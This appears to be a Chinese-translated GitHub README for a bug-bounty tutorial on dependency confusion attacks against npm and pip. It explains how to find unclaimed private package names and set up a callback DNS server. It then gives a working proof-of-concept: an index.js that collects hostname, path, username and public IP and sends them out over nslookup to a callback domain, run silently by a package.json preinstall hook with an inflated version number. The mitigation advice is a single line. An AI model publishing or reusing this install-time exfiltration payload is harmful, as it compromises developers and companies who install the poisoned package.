x1337loser/Dependency-Confusion
GitHub: x1337loser/Dependency-Confusion
涵盖依赖混淆攻击检测、利用与缓解的完整教程,专注于npm和pip供应链安全。
Stars: 304 | Forks: 42
# 依赖混淆攻击全解析(检测、查找与缓解)
## 目录:
- [关于依赖混淆攻击](#about-dependency-confusion-attack)
- [npm 工作原理及包系统、版本、作用域包等理解](#how-npm-and-similar-package-system-work-and-understanding-its-structure-and-more)
- [检测私有包](#detect-private-pip-and-npm-packages)
- [使用 bash 自动化](#automating-with-bash-to-find-private-packages)
- [手动挖掘](#manual-hunting-to-find-more-packages)
- [搭建 bind9 DNS 服务器](#setting-up-bind9-dns-server)
- [上传 POC](#uploading-poc)
- [缓解措施](#mitigation)
- [赏金透明度](#bounty-transparency)
## 关于依赖混淆攻击:
当你在终端输入 `pip install -r requirements.txt` 时,你是否检查过当前安装的包不在公共仓库中?或者是否有人在盲目安装的包中植入了后门?你如何信任 Pypi?是否有什么东西能危害你受防火墙保护的机器?
嗯,你可能会惊讶,仅仅在终端运行这个命令竟然这么容易中毒!我不打算详细解释这是如何发生的,[alex birsan](https://twitter.com/alxbrsn) 写了一篇关于 [Dependency Confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) 的精彩文章!但我还是忍不住要简单解释一下依赖混淆攻击!
假设你有一个名为 `A` 的项目,它完全依赖于 react 包,正如你可能听说过一些目前被许多公司用于开发流程的第三方 react 组件包(例如 `react-router`),这意味着你当前的项目严重依赖于某个第三方模块!现在想象一下你在这家公司找到了一份新工作,你的前同事没有告诉你关于他的项目,但给了你一个名为 `package.json` 的文件和一堆 js 文件,你知道该怎么做,只需简单的命令 `npm -i` 就可以开始了。但是你知道可能有一些你的高级开发人员不允许你公开的私有包吗?那么,当你在终端输入 `npm -i` 时,如果恶意行为者声明了该包,会发生什么呢?是的,这就是依赖混淆攻击的简单解释!
## npm 及类似包系统的工作原理及其结构等理解:
npm 全称 node package manager,用于以公开方式存储你的项目依赖。但 npm 也允许你从私有的本地包管理器安装包,这意味着这些包对公共用户是受限的,只有内部用户或特定流量出于开发目的才能安装这些包!而且这些包在公共 npm [registry](https://registry.npmjs.com) 中不存在,这工作得很好,直到你意外忘记在 cli 文件中提及安装路径。
但在 pip 中,情况完全不同,因为如果你在安装时加上 `--extra-index` 标志,pip 会检查更高版本,比如当你通过终端安装 pip 包时加上 `--extra-index`,例如:`pip install -r requirements.txt --extra-index-url`,那么 pip 会首先检查哪个仓库包含此包的更高版本。如果 pip 发现你的本地 registry 包含更高版本,pip 将安装这个版本而不是公共版本。现在想象一下你意外通过 GitHub repo 泄露了你的私有 pip 包名,攻击者声明了这些包并将版本号设为 2000.0.0,而在你的本地 registry 中此包版本是 2.0.1,会发生什么?嗯,如果你包含 `--extra-index-url` 标志,pip 会优先考虑更高版本,因此 pip 会从公共仓库而不是私有仓库安装此包,因为 pip 看到这个版本比你的本地版本高。你可以在这篇博客[文章](https://realpython.com/what-is-pip/)中阅读 pip 的工作原理,如果你想知道 npm 中的版本是如何工作的,请阅读这篇[文章](https://stackoverflow.com/questions/22343224/whats-the-difference-between-tilde-and-caret-in-package-json)。由于我对其他包系统的研究仍在进行中,所以我无法告诉你更多!我会把它们补充在这里。
## 检测私有 pip 和 npm 包:
对于 npm 普通包来说这很简单,访问 `https://npmjs.com/package/YOUR-PACKAGE-NAME-HERE`,对于作用域包,让我告诉你它的确切含义,“如果你看到像 `@test/example-packages` 这样的 npm 包名,那意味着每个包都以 `@` 开头并由 `\` 分隔,`\` 的第一部分是作用域名,第二部分是实际的包名,所以如果你在发现结果中看到这种类型的包名,你必须检查这个作用域名是否在公共仓库中被声明,为此访问 `https://npmjs.com/org/SCOPE-NAMES-HERE`,如果显示 404,则意味着这是一个未声明的作用域名!所以要在 npmjs 上上传 POC 包,你必须先创建一个 org 名称,然后在你的 package.json 文件中更新这个名称,像这样 `@org/package-name-here`,至于 pip 只需[访问](https://pypi.org/)
## 使用 bash 自动化查找私有包:
下载这个 `npm-automation.sh` 文件并在你的终端运行此命令 `bash automate-bash.sh `,确保你的机器上已经安装了 [tomnomnom's waybackurls](https://github.com/tomnomnom/waybackurls) 和 [hacker_'s gau](https://github.com/lc/gau)。
## 手动挖掘以查找更多包:
- 使用 Github:
在 GitHub 中,你可以访问每个 repo 查看是否存在这些文件名,例如对于 npm `package.json`、`yarn.lock`、`package-lock.json`、`yarn-error.log`。对于 pip `requirements.txt`、`requirement-dev.txt`、`requirement-prod.txt`。
- 使用 Devtools:
打开你的 Firefox 浏览器并访问你的目标域/子域 ==> 右键单击 ==> 检查 ==> 转到 `Debugger` ==> 尝试查找 `Webpack` 目录(如果你的目标使用了 webpack,否则你可能看不到任何东西) ==> 在 `Webpack` 目录中你会看到 `node_modules` 文件夹,`node_modules` 文件夹的每个子文件夹名称都是一个 npm 包。
- JS 文件:
阅读 js 文件很无聊,但如果你已经知道 npm 包名长什么样,你可能能在 js 文件中发现它们。(这需要练习)
## 搭建 bind9 DNS 服务器:
遵循这些视频和 repo
[Github repo](https://github.com/JuxhinDB/OOB-Server)
[DigitalOcean + Namecheap](https://www.youtube.com/watch?v=iMSqT9MZbQs),
[AWS + Godaddy](https://www.youtube.com/watch?v=p8wbebEgtDk),
## 上传 POC:
请关注我 youtube 频道的这个[视频](https://youtu.be/GJSvEAJeqko)。
在这个文件夹 `src/poc` 中,编辑 `index.js` 文件。将 `niroborg-npm-com-test` 替换为你的目标包名。同时将 `bind9-or-callback-server.com` 替换为你的回调 DNS 服务器。
```
const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'niroborg-npm-com-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $a.bind9-or-callback-server.com;done" , (error, data, getter) => {
if(error){
console.log("error",error.message);
return;
}
if(getter){
console.log(data);
return;
}
console.log(data);
});
```
并在 `package.json` 文件中,将 `test-npm-com-test` 替换为你的目标包名。然后定义版本名称。建议你在上传 npm 包时上传多个包版本,因为 npm 使用特殊的版本系统。[阅读更多](https://stackoverflow.com/questions/22343224/whats-the-difference-between-tilde-and-caret-in-package-json)
```
{
"name": "test-npm-com-test",
"version": "1.999.0",
"description": "",
"main": "main.js",
"scripts": {
"preinstall": "node index.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "lexi2",
"license": "ISC",
"dependencies": {
"lodash": "^4.17.21"
}
}
```
## 缓解措施:
使用 [@visma-prodsec](https://github.com/visma-prodsec) 的 [confused](https://github.com/visma-prodsec/confused) 扫描你的项目依赖
(我有自己的扫描器,仅用于 npm,我认为 [confused](https://github.com/visma-prodsec/confused) 很酷,因为他们为扫描添加了许多其他包管理器)
## 赏金透明度:
- $2000 来自 Shein(已公开)
- $2000 来自外部漏洞赏金计划(已关闭)
- $1500 来自 Bugcrowd 私有项目(已关闭)
- $1250 来自 Bugcrowd 私有项目(进行中)
- $1000 来自外部漏洞赏金(自托管)
- $1000 来自 Comcast Cable。(已关闭)
- $700 来自外部漏洞赏金计划(自托管)
- $500 来自外部漏洞赏金计划(自托管)
- $250 来自 Bugcrowd 私有项目(已关闭)
## 致谢:
- [@alxbrsn](https://twitter.com/alxbrsn) 感谢他出色的[研究](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),没有他的研究,这一切都不可能实现。
- [@Stok](https://twitter.com/stokfredrik) 感谢他关于搭建 bind9 DNS 服务器(使用 GoDaddy + aws)的精彩[视频](https://www.youtube.com/watch?v=p8wbebEgtDk)
- [@juxhindb](https://twitter.com/juxhindb) 感谢他出色的 github [repo](https://github.com/JuxhinDB/OOB-Server)
- [@nigamelastic](https://twitter.com/nigamelastic) 感谢他关于搭建 bind9 DNS 服务器(使用 Namecheap + digital ocean)的精彩[视频](https://www.youtube.com/watch?v=iMSqT9MZbQs)
- [@tomnomnom](https://twitter.com/tomnomnom) 感谢他强大的归档 URL 获取工具 [waybackurls](github.com/tomnomnom/waybackurls)
- [@hacker_](https://twitter.com/hacker_) 感谢他强大的归档 URL 获取工具 [gau](github.com/lc/gau)
- [@visma-prodsec](https://github.com/visma-prodsec) 感谢他们强大的依赖扫描器 [confused](https://github.com/visma-prodsec/confused)
## 觉得有用?
捐赠给 InternetArchive
捐赠给 InternetArchive标签:Bash, Bind9, Bug Bounty, Dependency Confusion, DNS服务器, IP 地址批量处理, MITM代理, npm, pip, POC验证, PyPI, 中间人攻击, 依赖混淆, 包管理器, 可自定义解析器, 后门, 应用安全, 恶意软件, 数字取证, 数据可视化, 数据展示, 暗色界面, 消息认证码, 私有包检测, 红队, 统一API, 网络安全, 自动化脚本, 软件开发工具包, 逆向工具, 防御缓解, 隐私保护